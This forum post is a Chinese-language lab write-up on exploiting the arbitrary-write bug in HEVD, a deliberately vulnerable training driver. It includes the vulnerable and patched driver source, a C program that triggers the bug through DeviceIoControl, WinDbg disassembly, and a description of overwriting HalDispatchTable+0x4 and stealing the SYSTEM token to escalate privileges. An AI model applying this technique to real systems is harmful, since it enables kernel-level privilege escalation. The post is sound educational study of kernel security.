-
-
[原创]内核漏洞学习[4]-HEVD-ArbitraryWrite
-
发表于: 2021-11-2 12:31 13157
-
HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习
Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub
环境准备:
Windows 7 X86 sp1 虚拟机
使用VirtualKD和windbg双机调试
HEVD 3.0+KmdManager+DubugView
这个漏洞相对来说不算难。没有什么太多的前置知识。
分析ArbitraryWrite.c源码, What = UserWriteWhatWhere->What;Where = UserWriteWhatWhere->Where;这两个指针,没有验证地址是否有效,直接拿来进行读写操作,在内核模式下,对不该访问的地址进行读写,会蓝屏。。
安全版本检查内存是否正确:
在不安全的版本中,没有对两个指针what和where 指向的地址进行验证,那我们可以利用这点,让指针访问我们的shellcode的位置,执行shellcode从而提取。
那么现在的问题就是what和where中写入什么内容,如何访问执行到我们的shellocde。
1.存在漏洞的ArbitraryWriteIoctlHandler函数对应的IO控制码HEVD_IOCTL_ARBITRARY_WRITE
2._WRITE_WHAT_WHERE结构,8个字节大小,what和where各占四个字节。所以先构造一个大小为8的buf,修改what和where指针,实现任意地址写
3.任意地址写测试
运行,触发漏洞。
4.任意代码执行测试
上述的测试已经实现任意地址写,我们将shellcode写入,如何实现执行payload呢。
首先要what指针覆盖为payload的地址,where指针修改为能指向payload地址的指针
前人已经发现了windows不常被使用的一个函数,利用函数NtQueryIntervalProfile,可以实现shellcode的执行,达到任意代码执行效果
windbg反汇编NtQueryIntervalProfile函数
84160ed6处 会调用函数KeQueryIntervalProfile,反编译此函数
8411f438处, 有指针数组,call dword ptr [nt!HalDispatchTable+0x4 ,这里就是我们payload要覆盖的地方,执行Ring0 Shellcode的主体必须是Ring0程序。这种利用方法是这样的:设法修改内核API导出表(如SSDT、HalDispatchTable等),将内核API函数指针修改为事先准备好的Shellcode地址,然后在本进程中调用这个内核API。最好选择劫持那些冷门内核API函数,否则一旦别的进程也调用这个API,由于Shellcode只保存在当前进程的Ring3内存地址中,别的进程无法访问到,将导致内存访问错误或内核崩溃。
利用漏洞将HalDispatchTable表第一个函数HalQuerySystemInformation入口地址篡改,,最后调用该函数的上层封装函数NtWueryIntervalProfile
,从而执行Ring0 Shellcode
HalDispatchTable结构:
在查HalDispatchTable结构,NtQueryIntervalProfile函数的过程中,发现这个利用有很多,可以更进一步学习。
获取HalDispatchTable地址+0x4地址
编写Ring0 payload
利用漏洞向HalDispatchTable地址+0x4地址处写入&payload
调用NtQueryIntervalProfile
,执行payload
思路是先得到内核模块基址,将其与HalDispatchTable在内核模块中的偏移相加
获取ntkrnlpa.exe基址,在内核模式下
ntkrnlpa.exe基址,在用户模式下
HalDispatchTable 地址,在用户模式下
计算 HalDispatchTable+0x4 的地址,利用偏移,地址是内核模式下
官方给出的函数HalDispatchTable = GetHalDispatchTable();
payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。
相关内核结构体:
在内核模式下,fs:[0]指向KPCR结构体
payload:
运行exp,提权成功:
在安全版本中已经给出,对what和where指针进行验证,robeForRead函数,ProbeForwrite函数,通过验证在进行操作
其他
参考链接:
0day安全 | Chapter 22 内核漏洞利用技术 (wohin.me)
TJ:https://bbs.pediy.com/thread-252506.htm#msg_header_h2_2
........
/
/
ProbeForRead函数,检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐,(msdn)
/
/
ProbeForwrite常规检查用户模式缓冲区是否实际位于地址空间的用户模式部分,是可行的,并且正确对齐。(msdn)
/
/
ProbeForRead函数,检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐,(msdn)
/
/
ProbeForwrite常规检查用户模式缓冲区是否实际位于地址空间的用户模式部分,是可行的,并且正确对齐。(msdn)
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
PULONG_PTR What
=
NULL;
PULONG_PTR Where
=
NULL;
NTSTATUS Status
=
STATUS_SUCCESS;
PAGED_CODE();
__try
{
ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
What
=
UserWriteWhatWhere
-
>What;
Where
=
UserWriteWhatWhere
-
>Where;
DbgPrint(
"[+] UserWriteWhatWhere: 0x%p\n"
, UserWriteWhatWhere);
DbgPrint(
"[+] WRITE_WHAT_WHERE Size: 0x%X\n"
, sizeof(WRITE_WHAT_WHERE));
DbgPrint(
"[+] UserWriteWhatWhere->What: 0x%p\n"
, What);
DbgPrint(
"[+] UserWriteWhatWhere->Where: 0x%p\n"
, Where);
#ifdef SECURE
/
/
安全版本,对地址进行验证,是否有效。
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
*
(Where)
=
*
(What);
#else
DbgPrint(
"[+] Triggering Arbitrary Write\n"
);
*
(Where)
=
*
(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
return
Status;
}
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
PULONG_PTR What
=
NULL;
PULONG_PTR Where
=
NULL;
NTSTATUS Status
=
STATUS_SUCCESS;
PAGED_CODE();
__try
{
ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
What
=
UserWriteWhatWhere
-
>What;
Where
=
UserWriteWhatWhere
-
>Where;
DbgPrint(
"[+] UserWriteWhatWhere: 0x%p\n"
, UserWriteWhatWhere);
DbgPrint(
"[+] WRITE_WHAT_WHERE Size: 0x%X\n"
, sizeof(WRITE_WHAT_WHERE));
DbgPrint(
"[+] UserWriteWhatWhere->What: 0x%p\n"
, What);
DbgPrint(
"[+] UserWriteWhatWhere->Where: 0x%p\n"
, Where);
#ifdef SECURE
/
/
安全版本,对地址进行验证,是否有效。
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
*
(Where)
=
*
(What);
#else
DbgPrint(
"[+] Triggering Arbitrary Write\n"
);
*
(Where)
=
*
(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
return
Status;
}
case HEVD_IOCTL_ARBITRARY_WRITE:
DbgPrint(
"****** HEVD_IOCTL_ARBITRARY_WRITE ******\n"
);
Status
=
ArbitraryWriteIoctlHandler(Irp, IrpSp);
DbgPrint(
"****** HEVD_IOCTL_ARBITRARY_WRITE ******\n"
);
break
;
case HEVD_IOCTL_ARBITRARY_WRITE:
DbgPrint(
"****** HEVD_IOCTL_ARBITRARY_WRITE ******\n"
);
Status
=
ArbitraryWriteIoctlHandler(Irp, IrpSp);
DbgPrint(
"****** HEVD_IOCTL_ARBITRARY_WRITE ******\n"
);
break
;
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE,
*
PWRITE_WHAT_WHERE;
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE,
*
PWRITE_WHAT_WHERE;
#include<stdio.h>
#include<Windows.h>
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE,
*
PWRITE_WHAT_WHERE;
int
main()
{
PWRITE_WHAT_WHERE
Buffer
;
Buffer
=
(WRITE_WHAT_WHERE
*
)malloc(sizeof(WRITE_WHAT_WHERE));
ZeroMemory(
Buffer
, sizeof(WRITE_WHAT_WHERE));
Buffer
-
>Where
=
(PULONG_PTR)
0x41414141
;
Buffer
-
>What
=
(PULONG_PTR)
0x41414141
;
DWORD recvBuf;
/
/
获取句柄
HANDLE hDevice
=
CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver"
,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
if
(hDevice
=
=
INVALID_HANDLE_VALUE || hDevice
=
=
NULL)
{
printf(
"Failed \n"
);
return
0
;
}
DeviceIoControl(hDevice, HEVD_IOCTL_ARBITRARY_WRITE,
Buffer
,
8
, NULL,
0
, &recvBuf, NULL);
return
0
;
}
#include<stdio.h>
#include<Windows.h>
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE,
*
PWRITE_WHAT_WHERE;
int
main()
{
PWRITE_WHAT_WHERE
Buffer
;
Buffer
=
(WRITE_WHAT_WHERE
*
)malloc(sizeof(WRITE_WHAT_WHERE));
ZeroMemory(
Buffer
, sizeof(WRITE_WHAT_WHERE));
Buffer
-
>Where
=
(PULONG_PTR)
0x41414141
;
Buffer
-
>What
=
(PULONG_PTR)
0x41414141
;
DWORD recvBuf;
/
/
获取句柄
HANDLE hDevice
=
CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver"
,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
if
(hDevice
=
=
INVALID_HANDLE_VALUE || hDevice
=
=
NULL)
{
printf(
"Failed \n"
);
return
0
;
}
DeviceIoControl(hDevice, HEVD_IOCTL_ARBITRARY_WRITE,
Buffer
,
8
, NULL,
0
, &recvBuf, NULL);
return
0
;
}
what
-
> &payload
where
-
> HalDispatchTable
+
0x4
what
-
> &payload
where
-
> HalDispatchTable
+
0x4
kd> uf nt!NtQueryIntervalProfile
.........
84160ecd
7507
jne nt!NtQueryIntervalProfile
+
0x6b
(
84160ed6
) Branch
nt!NtQueryIntervalProfile
+
0x64
:
84160ecf
a1acebf783 mov eax,dword ptr [nt!KiProfileInterval (
83f7ebac
)]
84160ed4
eb05 jmp nt!NtQueryIntervalProfile
+
0x70
(
84160edb
) Branch
nt!NtQueryIntervalProfile
+
0x6b
:
84160ed6
e83ae5fbff call nt!KeQueryIntervalProfile (
8411f415
)
.........
kd> uf nt!NtQueryIntervalProfile
.........
84160ecd
7507
jne nt!NtQueryIntervalProfile
+
0x6b
(
84160ed6
) Branch
nt!NtQueryIntervalProfile
+
0x64
:
84160ecf
a1acebf783 mov eax,dword ptr [nt!KiProfileInterval (
83f7ebac
)]
84160ed4
eb05 jmp nt!NtQueryIntervalProfile
+
0x70
(
84160edb
) Branch
nt!NtQueryIntervalProfile
+
0x6b
:
84160ed6
e83ae5fbff call nt!KeQueryIntervalProfile (
8411f415
)
.........
kd>uf nt!KeQueryIntervalProfile
..........
nt!KeQueryIntervalProfile
+
0x14
:
8411f429
8945f0
mov dword ptr [ebp
-
10h
],eax
8411f42c
8d45fc
lea eax,[ebp
-
4
]
8411f42f
50
push eax
8411f430
8d45f0
lea eax,[ebp
-
10h
]
8411f433
50
push eax
8411f434
6a0c
push
0Ch
8411f436
6a01
push
1
8411f438
ff15fcf3f783 call dword ptr [nt!HalDispatchTable
+
0x4
(
83f7f3fc
)]
8411f43e
85c0
test eax,eax
8411f440
7c0b
jl nt!KeQueryIntervalProfile
+
0x38
(
8411f44d
) Branch
..........
kd>uf nt!KeQueryIntervalProfile
..........
nt!KeQueryIntervalProfile
+
0x14
:
8411f429
8945f0
mov dword ptr [ebp
-
10h
],eax
8411f42c
8d45fc
lea eax,[ebp
-
4
]
8411f42f
50
push eax
8411f430
8d45f0
lea eax,[ebp
-
10h
]
8411f433
50
push eax
8411f434
6a0c
push
0Ch
8411f436
6a01
push
1
8411f438
ff15fcf3f783 call dword ptr [nt!HalDispatchTable
+
0x4
(
83f7f3fc
)]
8411f43e
85c0
test eax,eax
8411f440
7c0b
jl nt!KeQueryIntervalProfile
+
0x38
(
8411f44d
) Branch
赞赏
- [原创]CVE-2017-11882分析和白象样本分析 8354
- 银狐样本分析 13162
- [原创]CS[1]exe木马分析 7812
- [原创]内核漏洞学习[6]-HEVD-UninitializedStackVariable 27984
- [原创]植物大战僵尸外挂实现 13159